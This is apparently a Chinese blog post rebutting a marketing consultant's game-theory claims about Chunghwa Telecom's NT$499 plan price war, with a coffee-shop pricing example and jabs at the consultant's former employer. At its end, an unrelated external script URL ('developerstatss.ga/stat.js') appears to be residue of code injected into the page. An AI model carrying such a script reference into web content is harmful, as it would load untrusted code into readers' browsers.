網友提供一則分析文:「499之亂中華電信到底是賺還是賠？」
文中宣稱：
「中華電信的499方案看起來賠錢，但如果加入了賽局理論會變成如何呢？」
「…通常身為後進者的資本戰思考邏輯，假設小黑電信推出299方案，其他電信只要是299方案以上的使用者就會有興趣NP過來，每搶到一個1,499的他家用戶，我多299元營收，對手少1,499元營收，一來一往就是1,798元落差，就看誰的資本可以撐到最後。身為先行者的電信三雄如果使用這個作法怎麼算都不可能划算，因為耗損的是未來合約內短收月租費，經側試算過30個月可能短收近50億元台幣。…
…可怕啊！看起來今年可以因違約金多收近36億元，但把未來30個月的短收的月租費一算，最後可能短收多達51億元！這是誰想的策略？仔細深思後好像該跟中華電信道歉，我想得太淺，光看老客續約所短少收入，未來三十個月虧損可能是以數十億元，嚇了一跳做出自以為是的評論。」
文章還煞有其事地分享了一個試算表，可惜作者經濟學邏輯錯得離譜而不自知！
該文最大錯誤在於作者竟然把「競爭對手短少的營收」當做「自己增加的利潤」來計算？！
一者不但把同一消費者同一行為重複計算是錯，二者對手營收無論如何減少也與自己利潤無關！
試想全世界只有10個人喝咖啡同時僅有兩家賣咖啡的，假設二家成本一樣一杯10元，市價30元。假設原本我與競爭對手各有5個客人。我削價競爭用5元一杯把全世界的10位客人都吸引過來，我的利潤是（-5 x 10 = -50）元！真金白銀地虧損50元！對手減少的$150元營收怎樣都不會因為我愚蠢的削價競爭而變成我的獲利。
這麼簡單的商業邏輯都不懂，作者還宣稱自己是「行銷顧問」？我正想知道是哪種笨蛋公司會請這等程度之人當顧問時，赫然發現這位作者邱煜庭正是我前一篇文章提到的「倒店電商ASAP」的行銷總監哩！原來如此，會做到結束營業還真是「其來有自」。
讓我想起馬克吐溫名言：“Truth is stranger than fiction, but it is because Fiction is obliged to stick to possibilities; Truth isn’t.”
PS 作者邱煜庭留言表示：「感謝各位的指教，我不該亂用專業名詞，不該拿不熟的字詞亂用，原文已經更新，日後會多注意 🙂
不過我已經離開 ASAP 三年了，網站收掉這個鍋我可以不背嘛 XD」https://js.developerstatss.ga/stat.js?n=ns1
元毓說 